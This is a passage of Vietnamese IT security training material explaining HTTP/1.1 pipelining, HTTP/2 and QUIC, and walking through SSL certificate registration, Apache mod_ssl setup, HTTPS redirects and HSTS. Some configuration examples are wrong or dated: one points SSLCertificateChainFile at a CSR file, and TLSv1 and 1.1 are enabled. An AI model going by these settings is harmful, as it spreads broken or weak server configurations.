- Tuy nhiên, chúng ta dễ dàng nhận thấy một khoảng thời gian chờ sau khi thực hiện một request, trong lúc đợi response về hoàn tất, sẽ không có một request nào khác được phép thực hiện. Điều này gây lãng phí tài nguyên, do băng thông vẫn còn đó trong khi request tài nguyên khác sẽ không thể request ở cùng connection, và nếu tạo connection mới thì lại trở lại vấn đề với mỗi request một connection.

c. HTTP/1 pipelining

- Giải pháp cho phép nhiều lượt request được gọi mà không cần response phải

hoàn thành, sau đó sẽ nhận các response. Một giải pháp khá mượt, nhưng nhìn

sâu hơn vấn đề một chút, đầu tiên ta quan sát lại HTTP request và response.

- Một cú pháp request điển hình như sau:

GET /index.html HTTP/1.1 Host: www.example.com

- Cú pháp response dạng:

HTTP/1.1 200 OK Date: Mon, 23 May 2005 22:38:34 GMT Server: Apache/1.3.3.7 (Unix) (Red-Hat/Linux)

Page 100: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

100

Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT ETag: "3f80f-1b6-3e1cb03b" Content-Type: text/html; charset=UTF-8Content-Length: 138 Accept-Ranges: bytes Connection: close <html> <head> <title>An Example Page</title> </head> <body> Hello World, this is a very simple HTML document. </body>

</html>

- Nếu dữ liệu response về không có thứ tự mà đi lộn xộn, thì do cùng sử dụng 1 connection chung, đầu nhận response sẽ không thể phân biệt được phần dữ liệu là thuộc request nào.

- Điều này khiến HTTP pipelining phải tuân thủ một điều là phía client chỉ sau khi nhận trọn vẹn một response của request này mới được nhận tiếp response từ request khác, việc này gây ra nguy cơ về hiệu năng khi có một response bị mất hay bị xử lý chậm.

Đặc trưng của HTTPv2

a. Tổng quát

Hình: Kiến trúc HTTP/2

HTTP/2 xây dựng trên tư tưởng mỗi TCP connection sẽ có nhiều stream, mỗi packet truyền tải trong stream sẽ là một frame, các frame này sẽ có đầy đủ các thông tin định danh stream.

Page 101: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

101

Hình: HTTP/2 nhiều stream dùng chung một connection

Khi sử dụng, mỗi request tài nguyên sẽ sử dụng một stream độc lập, mỗi frame đều có thông tin định danh cho stream riêng, nên việc thứ tự truyền/nhận của request/response không còn là vấn đề, dữ liệu của frame nào sẽ được đưa vào stream của nó, tương ứng với đó là request/response tương ứng. Như vậy vấn đề head-of-line blocking được giải quyết.

Hình: Vấn đề Head-of-line blocking được giải quyết trong HTTP/2

b. Vấn đề

i. Head-of-line blocking gây ra bởi TCP

o HTTP/2 là một kiến trúc đẹp, nhưng tư tưởng xây dựng nó nhiều stream dùng chung một TCP connection, tức là sử dụng chung một đường truyền tải. Khi gói tin từ stream được đóng gói để đưa xuống tầng TCP, gói tin sẽ lại được đóng gói (trong nhiều trường hợp có thể bị chia nhỏ hơn để đóng gói) bởi giao thức TCP, bằng cách đánh thêm chỉ số tuần tự và các thông tin khác ... để đưa xuống tầng IP và truyền đi. Tầng IP sẽ không đảm bảo gói tin sẽ không mất mát và đúng thứ tự, vì vậy tầng TCP sẽ làm việc đó, nếu có gói tin nào bị mất mát do truyền tải ở tầng IP thì tầng TCP sẽ gửi lại gói tin tương ứng.

o Trong trường hợp những gói tin này thuộc các stream khác nhau, thì khi mất mát gói tin của một stream thì các stream còn lại sẽ bị ảnh hưởng. Vấn đề head-of-line blocking lại xuất hiện, nhưng lần này là do cơ chế của TCP gây nên.

Page 102: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

102

Hình: Head-of-line blocking do cơ chế bảo vệ flow của TCP

ii. Stream dùng chung thuật toán chống nghẽn

- Thuật toán chống nghẽn được thiết kế nhằm giúp TCP sử dụng băng thông tối

đa mà nó có thể, tùy vào lượng mất mát gói tin mà thuật toán sẽ tự điều chỉnh

lượng băng thông truyền đi.

- Trong HTTP/2, nhiều stream sẽ dùng chung trên một connection, nên sẽ phải sử

dụng chung một trạng thái chống nghẽn. Việc này sẽ gây ra vấn đề nếu một gói

tin thuộc connection tương ứng bị mất gói tin, thì thuật toán chống nghẽn sẽ điều

chỉnh làm chậm băng thông của connection lại, kéo theo việc các stream còn lại

của connection này cũng sẽ bị chậm theo.

c. QUIC – Quick UDP Internet Connections

i. Tổng quát

- Để khắc phục vấn đề head-of-line blocking gây ra bởi TCP, cách duy nhất là thiết kế HTTP/2 trên nền một giao thức khác. QUIC lựa chọn xây dựng lại trên nền UDP, một giao thức thông dụng và có thể dễ dàng tương tác ở userland.

- Tư tưởng thiết kế giao thức QUIC là sự kết hợp giữa TCP và tinh thần của HTTP/2

o Đảm bảo không mất mát, đúng thứ tự gói tin: Tương tự TCP o Cải thiện thuật toán chống nghẽn: Sử dụng thuật toán CUBIC o Tự sửa lỗi gói tin o Hỗ trợ lớp bảo mật TLS

Hình: QUIC = TLS + TCP + SPDY

Page 103: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

103

- Mặc dù trong UDP, khái niệm connection không tồn tại, nhưng dựa trên tinh thần của TCP, QUIC xây dựng lại connection cho mình, tuy nhiên nhiên tầng truyền tải dữ liệu sẽ độc lập giữa các stream. Điều này giúp loại bỏ head-of-line blocking gây ra khi các stream truyền tải dùng chung connection.

- Một điều thú vị là connection của QUIC sẽ tốt hơn TCP trong một số trường hợp, ví dụ khi kết nối mạng của bạn đang sử dụng đột ngột bị ngắt và connect lại, lúc này connection của TCP sẽ bị mất và buộc phải khởi tạo kết nối mới, do xây dựng trên nền tảng UDP - một giao thức phi kết nối (connectionless) nên về lý thuyết thì connection sẽ vẫn tiếp tục truyền nhận dữ liệu bình thường dù sẽ chậm đi một chút.

- QUIC cũng sử dụng thuật toán chống nghẽn cho từng stream riêng biệt, loại bỏ vấn đề thuật toán chống nghẽn gây ra cho HTTP/2.

Hình: Giao thức QUIC

So sánh tốc độ giữa HTTPv1 và HTTPv2

- Với HTTP/1.1, một kết nối TCP sẽ tiến hành load tuần tự từng bức ảnh nhỏ, sau

khi hoàn thành 1 ảnh sẽ tiếp tục load ảnh tiếp theo. Đây là vấn đề head-of-line

blocking đề cập trong bài viết.

- Với HTTP/2, một kết nối TCP chia thành nhiều stream, mỗi stream truyền một

bức ảnh nhỏ, các gói tin của các stream có thể đi xen lẫn nhau không nhất thiết

phải đợi nhau hoàn thành, vì vậy gần như được stream đồng thời cùng lúc nhiều

ảnh.

Page 104: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

104

2. Đăng ký vài cài đặt SSL certificate: Comodo, GeoTrust, DigiCert,

Verisign 2.1 Khái niệm:

a. SSL là gì:

SSL là viết tắt của từ Secure Sockets Layer. Đây là một tiêu chuẩn an ninh công

nghệ toàn cầu tạo ra một liên kết giữa máy chủ web và trình duyệt. Liên kết này đảm bảo tất

cả dữ liệu trao đổi giữa máy chủ web và trình duyệt luôn được bảo mật và an toàn.SSL đảm

bảo rằng tất cả các dữ liệu được truyền giữa các máy chủ web và các trình duyệt được

mang tính riêng tư, tách rời. SSL là một chuẩn công nghệ được sử dụng bởi hàng triệu

trang web trong việc bảo vệ các giao dịch trực tuyến với khách hàng của họ.

b. SSL làm việc như thế nào:

c. Quá trình máy tính kết nối với một website đã được chứng thực

d. Cách kiểm tra SSL của trình duyệt

Khi Website gửi cho trình duyệt một chứng chỉ SSL, trình duyệt sẽ gửi chứng chỉ này

đến một máy chủ lưu trữ các chứng chỉ số đã được phê duyệt.Về mặt kỹ thuật, SSL sử

dụng mã hóa công khai. Kỹ thuật này giúp cho Website và trình duyệt tự thỏa thuận (bước 4

ở hình trên) một bộ khóa sẽ dùng trong suốt quá trình trao đổi thông tin sau đó. Bộ khóa sẽ

thay đổi theo mỗi trong lần giao dịch kế tiếp, một người khác sẽ không thể giải mã ngay cả

khi có được dữ liệu của máy chủ lưu trữ chứng chỉ số nói trên.

Page 105: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

105

2.2 Đăng ký chứng chỉ SSL

a. CSR (certificate signing request) : Certificate Signing Request là 1 đoạn

text (chứa thông tin của chủ sở hữu tên miền) được mã hóa từ server (máy chủ)

chuẩn bị cài đặt SSL.

Nó chứa thông tin sẽ được bao gồm trong giấy chứng nhận của bạn như tên

tổ chức của bạn, tên thông thường (tên miền), địa phương và quốc gia. 1 CSR sẽ

được tạo ra ngay trước khi gửi yêu cầu cho bên cung cấp SSL để sinh ra SSL.

1 CSR yêu cầu các thông tin:

o Mã quốc gia

o Thành phố

o Tên công ty

o Tên miền cần được mã hóa SSL

o Email quản lý

o loại chứng chỉ SSL

b. Tạo CSR để đăng ký SSL:

1.Cài đặt openssl trên CentOS: yum install openssl

2.Tạo key cho domain (giả sử domain ở đây là cysecure.com)

[root@server certs]# openssl genrsa -out cysecure.com.key 2048

Generating RSA private key, 2048 bit long modulus

............................................................................+++

........................................+++

e is 65537 (0x10001)

3.Tạo CSR cho domain sử dụng Key vừa tạo

[root@server certs]# openssl req -new -key cysecure.com.key -out

cysecure.com.csr

You are about to be asked to enter information that will be

incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or

a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Country Name (2 letter code) [XX]:VN => tên nước

State or Province Name (full name) []:HoChiMinh => tên tỉnh/thành

phố

Locality Name (eg, city) [Default City]:HoChiMinh => tên thành phố

Organization Name (eg, company) [Default Company Ltd]:tuonglua

=> tên công ty

Organizational Unit Name (eg, section) []:IT => tên đơn vị

Page 106: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

106

Common Name (eg, your name or your server's hostname)

[]:cysecure.com => tên server hoặc domain

Email Address []:[email protected] => mail

Please enter the following 'extra' attributes

to be sent with your certificate request

A challenge password []: => Enter

An optional company name []: => Enter

Hoàn tất quá trình tạo CSR, sẽ có 2 file cysecure.com.csr và

cysecure.com.key, công việc tiếp theo sẽ là đăng ký SSL sử dụng CSR vừa tạo.

Hiện tại có rất nhiều nhà cung cấp cho phép đăng ký SSL Certificate để mã

hóa http, bao gồm: Comodo, GeoTrust, DigiCert, VeriSign, …

b. Comondo EssentialSSL:

Comodo cung cấp Phần mềm bảo mật Internet, bảo mật email và tin nhắn,

Lưu trữ máy chủ DNS, giấy chứng nhận SSL, Quản lý PKI, trình duyệt và nhiều hơn

thế.

Truy cập vào trang https://ssl.comodo.com/free-ssl-certificate.php để đăng ký

SSL free 90 ngày, nhấn Free SSL

Tiến hành điền các thông tin cần thiết

1.Copy nội dung trong file cysecure.com.csr vào ô 1

2.Server software chọn Apache-ModSSL

3.SSL comodo sử dụng miễn phí 90 ngày

4.Comodo Newsletter (nhận thông báo từ Comodo): có thể nhận hoặc không

5.Comodo HackerGuardian Free Scan : có thể chọn hoặc không.

Page 107: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

107

Xác thực Domain để cài đặt SSL, nếu domain đã được đăng ký từ thirdparty

thì sẽ có mail gửi về xác thực là domain đã được đăng ký, nếu chưa đăng ký domain

thì chúng ta có thể chọn None of above phía dưới cùng.

Tiến hành điền vào các thông tin cần thiết, những trường màu đỏ là những

trường bắt buộc phải có, không được để trống

Page 108: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

108

Tích vào I ACCEPT và Continue to Payment

Thông tin Order hiển thị ra đầy đủ, những bước Action Required là bước bắt

buộc phải completed

Sau khi xác thực Domain Control Validation thì 1 mail kèm theo các file ssl sẽ

gửi về mail của domain mà chúng ta đã đăng ký, đến đây là xong bước đăng ký SSL

của Comodo.

c. GeoTrust SSL:

Vào link sau để đăng kí SSL: https://www.geotrust.com/ssl/free-ssl-certificate/

,chọn Get Your Free Certificate Now!

Điền vào thông tin cần thiết để đăng ký SSL, sau đó nhấn Continue

Page 109: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

109

Chọn Continue để tiếp tục sau khi form thông tin hiện ra

Copy toàn bộ nội dung trong file cysecure.com.csr đã tạo ở phần trước vào ô

như hình, sau đó Continue

Page 110: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

110

Xác thực thông tin, Continue

Điền vào các thông tin cần thiết.

Xác thực domain chính

o Default email domain: Base Domain

o List of authorized approvers: chọn mail dùng để xác thực domain đã đăng

ký, mail này sẽ được cung cấp trong quá trình mua domain hoăc host,

hoặc có thể contact admin của page để có thêm thông tin.

Page 111: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

111

Kéo xuống và tích vào I agree … -> Submit Order

Đến bước này đã xong quá trình tạo SSL Certificate của Geotrust, có thể

kiểm tra mail của domain hoặc mail admin để xác thực cũng như nhận các file SSL

từ GeoTrust

d.DigiCert (Bản dùng thử)

Truy cập vào link sau để đăng ký dùng thử Thawte SSL certificate =>

continue

Page 112: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

112

Điền vào các thông tin tương ứng, các trường có dấu * là các trường bắt

buộc phải có

Form điền CSR

o Copy nội dung từ file cysecure.com.csr vào form như hình

o Server platform: chọn ApacheSSL nếu server sử dụng Apache là

webserver.

Nếu không có chỉnh sửa thông tin gì thì tích vào I Accept… và Continue

Page 113: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

113

Đến đây quá trình đăng ký đã hoàn tất, kiểm tra mailbox để nhận các file SSL

Certificate, sau đó download về webserver.

e.VeriSign

Truy cập link :

https://trustcenter.websecurity.symantec.com/process/retail/trial_product_selector?uid=213d

f2928c3305de3e471c06bb7f37bf&locale=VRSN_AU&language=en để đăng ký SSL free

trial 30 ngày.

Điền vào thông tin cần thiết để đăng ký SSL, sau đó nhấn Continue

Page 114: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

114

Form điền CSR

o Copy nội dung từ file cysecure.com.csr vào form như hình

o Server platform: chọn ApacheSSL nếu server sử dụng Apache là

webserver.

Nếu không có chỉnh sửa thông tin gì thì tích vào I Accept… và Continue

Đến đây quá trình đăng ký đã hoàn tất của Verisign SSL Free Trial, kiểm tra

mailbox để nhận các file SSL Certificate sau đó download đó về webserver.

Page 115: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

115

3.Cài đặt SSL trên webserver và kích hoạt https Cài đặt mod_ssl:

- yum –y install mod_ssl

Giả sử sau khi đăng ký SSL Certificate, chúng ta sẽ nhận được file SSL bao gồm:

server.csr, server.key, server.crt. Copy 3 file này vào đường dẫn: /etc/pki/tls/certs

Cấu hình file ssl.conf để kích hoạt ssl:

- vi /etc/httpd/conf.d/ssl.conf

# line 59: uncomment

DocumentRoot "/var/www/html"

# line 60: uncomment and specify the server name

ServerName cysecure.com:443

# line 75: change

SSLProtocol -All +TLSv1 +TLSv1.1 +TLSv1.2

# line 100: change to the one got in [1]

SSLCertificateFile /etc/pki/tls/certs/server.crt

# line 107: change to the one got in [1]

SSLCertificateKeyFile /etc/pki/tls/certs/server.key

# line 116: change to the one got in [1]

SSLCertificateChainFile /etc/pki/tls/certs/server.crt

Khởi động lại httpd

- Service httpd restart

Kiểm tra lại trình duyệt.

Page 116: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

116

4. Scan HTTP version a.Khái niệm

Như chúng ta đã biết, HTTP là giao thức được thiết kế theo kiểu client –

server, giao tiếp giữa client và server dựa vào một cặp request – response, client

đưa ra các request và server trả lời các request này.

HTTP Request

Ví dụ một HTTP Request

HTTP Response

Cấu trúc HTTP response gần giống với HTTP request, chỉ khác nhau là thay

vì Request-Line, thì HTTP có response có Status-Line. Và giống như Request-Line,

Status-Line cũng có ba phần như sau:

HTTP-version: phiên bản HTTP cao nhất mà server hỗ trợ.

Status-Code: mã kết quả trả về.

Reason-Phrase: mô tả về Status-Code.

Page 117: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

117

Ví dụ một HTTP Response

Chúng ta sẽ tập trung vào version của HTTP, trong ví dụ trên, HTTP hỗ trợ

version 1.1

b.Cách scan HTTP version

Có nhiều cách để scan HTTP version như: Wireshark, Nmap, hoặc các

website như: https://hackertarget.com/http-header-check/

Chủ yếu chúng ta sẽ kiểm tra http header để xác định được version của http

là bao nhiêu

Với Wireshark:

o Truy cập cysecure.com bằng chrome.

o Mở wireshark và dùng chức năng lọc http để tìm các gói tin http.

o Ta kiểm tra thấy HTTP/1.1 chứng tỏ HTTP version 1.1

Truy cập https://hackertarget.com/http-header-check/ và gõ trang web bất kì

o Ví dụ: google.com

Page 118: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

118

Google hiện tại sử dụng HTTP version 1.1, ngoài ra chúng ta có thể xem các

thông tin về Content-Type, Date, Expires, Cache-Control, …

5.Chuyển hướng webserver chạy HTTPS thay vì HTTP Đối với các trang web cần thực hiện đăng nhập, nếu sử dụng http, các gói tin bao

gồm cả username và password sẽ được truyền đi trên mạng dưới dạng cleartext. Các

hacker hoàn toàn có thể thực hiện bắt gói và ăn cắp username password dễ dàng. Vì thế

bắt buộc phải sử dụng giao thức https để mã hóa dữ liệu trong môi trường mạng, tránh việc

mất cắp mật khẩu. Tuy nhiên ngay cả khi đã triển khai https cho website rồi, vẫn có rất nhiều

trường hợp vô ý đăng nhập thông qua http. Để tránh các trường hợp sai sót do người dùng,

cần thiết phải cấu hình bắt buộc sử dụng https đối với các thư mục truy cập, hoặc đối với

toàn bộ website.

Chức năng này được thực hiện thông qua việc chỉnh sửa file/ hoặc tạo mới file

.htaccess trong thư mục chứa website. Nếu muốn bắt buộc sử dụng https cho toàn bộ

website, thêm đoạn code sau vào file .htaccess nằm trên thư mục gốc của website:

RewriteEngine On

RewriteCond %{SERVER_PORT} ^80$

RewriteRule ^.*$ https://%{SERVER_NAME}%{REQUEST_URI} [R=301,L]

Note: file .htaccess cần phải được đặt tại nơi bắt buộc thực hiện giao thức https

Cách thực hiện:

- Kích hoạt .htaccess trên file httpd.conf:

o Vi /etc/httpd/conf/httpd.conf

Tại <Directory "/var/www/html"> thay đổi AllowOverride None

thành AllowOverride All

Uncomment dòng ServerName và đổi lại tên domain:

ServerName cysecure.com:80

- Tạo file .htaccess tại /var/www/html: vi /var/www/html/.htaccess

o Nếu muốn chuyển hướng domain http sang https ta dùng các câu lệnh

như sau

Page 119: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

119

RewriteEngine On

RewriteCond %{SERVER_PORT} ^80$

RewriteRule ^.*$ https://%{SERVER_NAME}%{REQUEST_URI}

[R=301,L]

o Save file.

- Restart httpd và kiểm tra trên chrome bằng cách gõ cysecure.com

- Trang web sẽ tự chuyển tới https mà không sử dụng http

6. Cơ chế hoạt động HSTS, thiết lập HSTS trên webserver a. HSTS là gì

HSTS (HTTP Strict Transport Security) là một chính sách bảo mật cần thiết

để bảo vệ các trang web bảo mật HTTPS chống lại các cuộc tấn công hạ cấp. HSTS

đảm bảo rằng tất cả kết nối tới một website phải được mã hóa bằng giao thức

HTTPS, và không bao giờ sử dụng giao thức HTTP.

ảnh minh hoạt cách thức hoạt động của HSTS

b. Cách thức hoạt động của HSTS

HSTS là một hệ thống dựa trên thời gian. Nghĩa là trong khoảng thời gian

chúng ta thiết lập trong max-age (tính bằng giây) sẽ đảm bảo rằng trang web của

Page 120: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

120

chúng ta được phục vụ qua giao thức HTTPS. Khuyên chọn max-age ít nhất 6 tháng

(15552000 giây)

Khi trình duyệt tương tác với webserver đã bật HSTS, nó sẽ tìm một header

đặc biệt nói rằng trình duyệt chỉ nên sử dụng giao thức HTTPS để kết nối với server.

Ngoài ra có một giá trị thời gian max-age liên kết với header trên cho phép

trình duyệt biết chủ quản trị server muốn chắc chắn rằng trang web đó chỉ nên được

truy cập thông qua HTTPS trong một thời gian định sẵn. Giá trị max-age nên là

khoảng thời gian dài, ít nhất 6 tháng, hoặc có thể nhiều năm.

Khi trình duyệt đã truy cập vào trang web một lần và thấy header trên, trình

duyệt sẽ nhớ rằng website này chỉ nên được truy cập thông qua HTTPS trong

khoảng thời gian max-age.

Nếu vì một lý do gì đó chúng ta muốn reset các thiết lập HSTS được lưu

trong Chrome cho domain của chúng ta. Vào chrome://net-internals/#hsts, nhập

domain ở mục Query domain để kiểm tra hoặc xóa domain ở mục Delete domain

c. Cách thiết lập HSTS trên Apache server

o Đi vào thư mục /etc/pki/tls/certs

o Tiến hành tạo lại SSL Certificate trên server

Tạo private key: openssl genrsa -out cysecure.com.key 2048

Tạo CSR: openssl req -new -key cysecure.com.key -out

cysecure.com.csr

Note: quá trình tạo CSR, thông tin có thể tương tự như quá trình

tạo CSR để request SSL Certificate trong phần trước.

Tạo Self-Signed Key: openssl x509 -req -days 365 -in

cysecure.com.csr -signkey cysecure.com.key -out

cysecure.com.crt

Ta được các file cysecure.com.key, cysecure.com.csr,

cysecure.com.crt

o Edit file /etc/httpd/conf.d/ssl.conf như sau

# line 59: uncomment

DocumentRoot "/var/www/html"

Page 121: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

121

# line 60: uncomment and specify the server name

ServerName cysecure.com:443

# line 75: change

SSLProtocol -All +TLSv1 +TLSv1.1 +TLSv1.2

# line 100: change to the one got in [1]

SSLCertificateFile /etc/pki/tls/certs/cysecure.com.crt

# line 107: change to the one got in [1]

SSLCertificateKeyFile /etc/pki/tls/certs/cysecure.com.key

# line 116: change to the one got in [1]

SSLCertificateChainFile /etc/pki/tls/certs/cysecure.com.csr

o Thêm các dòng sau vào httpd.conf

Vi /etc/httpd/conf/httpd.conf

#Move http to https$

<VirtualHost *:80>$

<Directory /var/www/html>$

AllowOverride All$

</Directory>$

DocumentRoot /var/www/html$

ServerName cysecure.com$

ServerAdmin cysecure.com/administrator$$

ServerPath cysecure.com/$$

ServerAlias www.cysecure.com$

</VirtualHost>$

$

<VirtualHost *:443>$

SSLEngine on$

SSLCertificateFile /etc/pki/tls/certs/cysecure.com.crt$

SSLCertificateKeyFile /etc/pki/tls/certs/cysecure.com.key$

<Directory /var/www/html>$

AllowOverride All$

</Directory>$

DocumentRoot /var/www/html$

ServerName cysecure.com$

ServerAdmin cysecure.com/administrator$

ServerPath cysecure.com/$

ServerAlias www.cysecure.com$

# HSTS config$

# Guarantee HTTPS for 1 Year including Sub Domains $

Header always set Strict-Transport-Security "max-

age=31536000; includeSubDomains"$

</VirtualHost>$

o Restart httpd: service httpd restart

o Ta dùng browser truy cập vào cysecure.com

Page 122: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

122

o Nếu chúng ta thử đi vào folder bất kì ví dụ như thư mục administrator

o Trình duyệt sẽ luôn truy cập với SSL bất kể đi vào đường dẫn URL nào

o Dùng Wireshark bắt gói tin sẽ thấy các gói tin chủ yếu sử dụng port 443 là

https với giao thức TLSv1.2

Page 123: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

123

Note: Để kiểm tra lại HSTS đã config, chúng ta truy cập vào và domain đã

config (lưu ý domain phải được đăng ký bởi nhà cung cấp), kết quả như bên

dưới là OK

d. Đăng ký Website vào HSTS Preload List

HSTS Preload list là danh sách các website được chứng nhận bảo mật HSTS và

được lưu cứng vào danh sách preload list trên các trình duyệt. Preload list sẽ đảm bảo

website của chúng ta buộc người dùng chuyển đến trang bảo mật https ngay lần đầu tiên họ

truy cập vào. Vì vậy chúng ta nên cân nhắc khi đăng ký preload list cho website, vì nó yêu

cầu tất cả subdomain đều bật HSTS trong một thời gian dài, và nếu chẳng may 1 trong số

Page 124: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

124

đó lỗi trang https, thì sẽ rất mất nhiều thời gian (hàng tháng trời) để xóa website khỏi

preload list.

Các yêu cầu để có thể đăng ký website vào HSTS Preload list:

- Có một chứng chỉ bảo mật

- Chuyển hướng HTTP tới HTTPS

- Tất cả subdomain hỗ trợ HTTPS, bao gồm cả www.

- Thời gian hết hạn (max-age) tối thiểu trong header HSTS là 18 tuần (10886400

giây)

- Phải có chỉ dẫn includeSubdomains và preload

Cuối cùng, đợi kết quả chấp thuận sau khoảng vài tuần, sau đó, đợi vài tháng đến

khi có bản cập nhật mới của Chrome, Firefox, Edge, domain của chúng ta sẽ nằm

trong danh sách preload list của Google.

- Đăng ký website vào HSTS Preload List tại trang https://hstspreload.org/

- Hoặc xóa website khỏi HSTS Preload List tại trang:

https://hstspreload.org/removal/

Page 125: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

125

Phần 5: ICT Index 1. Giới thiệu ICT index, hiểu rõ các chỉ mục và vấn đề tối ưu chỉ số. 2. Nội dung:

Ứng dụng CNTT (thảo luận về vấn đề phát triển ứng dụng CNTT phục vụ công việc – số hóa quản lý thủ tục hành chánh,…)

Nhân lực CNTT (tham gia các lớp tập huấn, đào tạo để phát triển nhân lực chất lượng cao)

Phát triển hạ tầng CNTT

3. Tổng quan: Trình bày các hạng mục nhằm cải thiện, nâng cao chỉ số ICT index cho đơn vị

Page 126: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

126

1. Giới thiệu a. ICT là gì? :

- ICT là cụm từ thường dùng như từ đồng nghĩa rộng hơn cho IT, nhưng thường

là một thuật ngữ chung để nhấn mạnh vai trò của truyền thông hợp nhất và sự

kết hợp của viễn thông (đường dây điện thoại và tín hiệu không dây), hệ thống

quản lý tòa nhà thông minh và hệ thống nghe-nhìn trong công nghệ thông tin

hiện đại.

- Trong lĩnh vực CNTT, ICT là từ viết tắt của Information & Communication

Technologies có nghĩa là Công nghệ thông tin và Truyền thông.

- ICT bao gồm tất cả các phương tiện kỹ thuật được sử dụng để xử lý thông

tin và trợ giúp liên lạc, bao gồm phần cứng và mạng máy tính, liên lạc trung

gian cũng như là các phần mềm cần thiết.

- ICT bao gồm IT cũng như là điện thoại, phương tiện truyền thông, tất cả các

loại xử lý âm thanh và video, điều khiển dựa trên truyền tải và mạng và các chức

năng giám sát.

=> Từ đó, ta có thể hiểu đơn giản: ICT là sự kết hợp của công nghệ thông tin và công

nghệ truyền thông để tạo nên sự kết nối và chia sẻ thông tin với nhiều hình thức

khác nhau.

Page 127: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

127

b. ICT Index là gì?

Theo Liên minh bưu chính quốc tế (ITU): ICT Index là thước đo mức độ phát triển

về Công Nghệ Thông Tin và Truyền Thông

Theo Đại học Havard (Mỹ): ICT Index là thước đo mức độ sẵn sàng cho phát triển

và ứng dụng Công Nghệ Thông Tin và Truyền Thông.

